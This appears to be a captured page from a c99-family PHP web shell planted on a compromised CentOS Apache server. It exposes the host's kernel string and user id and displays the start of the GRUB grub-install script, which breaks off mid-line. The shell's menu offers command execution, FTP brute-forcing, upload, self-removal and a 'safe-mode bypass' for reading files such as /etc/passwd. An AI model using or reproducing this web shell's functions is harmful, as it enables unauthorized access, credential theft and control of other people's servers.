!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/sbin/   drwxr-xr-x
Free 52.59 GB of 127.8 GB (41.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     grub-install (18.08 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#! /bin/sh

# Install GRUB on your drive.
#   Copyright (C) 1999,2000,2001,2002,2003,2004 Free Software Foundation, Inc.
#
# This file is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

# Initialize some variables.
prefix=/usr
exec_prefix=/usr
sbindir=/sbin
datadir=/usr/share
PACKAGE=grub
VERSION=0.97
host_cpu=i386
host_os=linux-gnu
host_vendor=redhat
pkgdatadir=${datadir}/${PACKAGE}/${host_cpu}-${host_vendor}

grub_shell=${sbindir}/grub
mdadm=${sbindir}/mdadm
log_file=/tmp/grub-install.log.$$
img_file=/tmp/grub-install.img.$$
rootdir=
grub_prefix=/boot/grub

install_drives=
install_device=
no_floppy=
force_lba=
recheck=no
debug=no
justcopy=no

# look for secure tempfile creation wrappers on this platform
if test -x /bin/tempfile; then
    mklog="/bin/tempfile --prefix=grub"
    mkimg="/bin/tempfile --prefix=grub"
elif test -x /bin/mktemp; then
    mklog="/bin/mktemp /tmp/grub-install.log.XXXXXX"
    mkimg="/bin/mktemp /tmp/grub-install.img.XXXXXX"
else
    mklog=""
    mkimg=""
fi

# Usage: usage
# Print the usage.
usage () {
    cat <.
EOF
}

# Usage: convert os_device
# Convert an OS device to the corresponding GRUB drive.
# This part is OS-specific.
convert () {
    # First, check if the device file exists.
    if test -e "$1"; then
	:
    else
	echo "$1: Not found or not a block device." 1>&2
	exit 1
    fi

    # Break the device name into the disk part and the partition part.
    case "$host_os" in
    linux*)
    	# formats that need to be handled (disk name -> partition name):
	# floppies: /dev/fd0
	# normal sd/hd devices: /dev/hda -> /dev/hda3
	# md: /dev/md0 -> /dev/md0p0
	# ide raid devs: /dev/ide/host0/bus0/target0/lun0/disc
	#             -> /dev/ide/host0/bus0/target0/lun0/part1
	# cciss: /dev/cciss/c0d0 -> /dev/cciss/c0d0p1
	# mpath devs: /dev/mapper/mpath0 -> /dev/mapper/mpath0p1
	#             /dev/mapper/lalala -> /dev/mapper/lalalap1
	# dmraid devs: /dev/mapper/via_abcdef -> /dev/mapper/via_abcdefp1
	#    /dev/mapper/isw_Volume0_abcdef -> /dev/mapper/isw_Volume0_abcdefp1
	#  the known list (to me) is (X means we should handle it):
	#	X asr_[unfettered crap]
	#	  hpt[0-9]+x_[0-9]+-[0-9]+
	#	X hpt[0-9]+x_[0-9]+
	#	  hpt[0-9]+x_SPARE
	#	  isw_[a-z]+_[a-z]+[0-9]+
	#	X isw_[a-z]+
	#	  jm_[0-9]+-[0-9]+
	#	X jm_[0-9]+
	#	  lsi_[0-9]+-[0-9]+
	#	X lsi_[0-9]+
	#	  nvidia_[a-z]+-[0-9]+
	#	X nvidia_[a-z]+
	#	  pdc_[a-z]+-[0-9]+
	#	X pdc_[a-z]+
	#	  sil_[0-9]+-[0-9]+
	#	X sil_[0-9]+
	#	  via_[a-z]+-[0-9]+
	#	X via_[a-z]+
	#
	# more? 
	tmp_disk=`echo "$1" 
bool(false)

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0044 ]--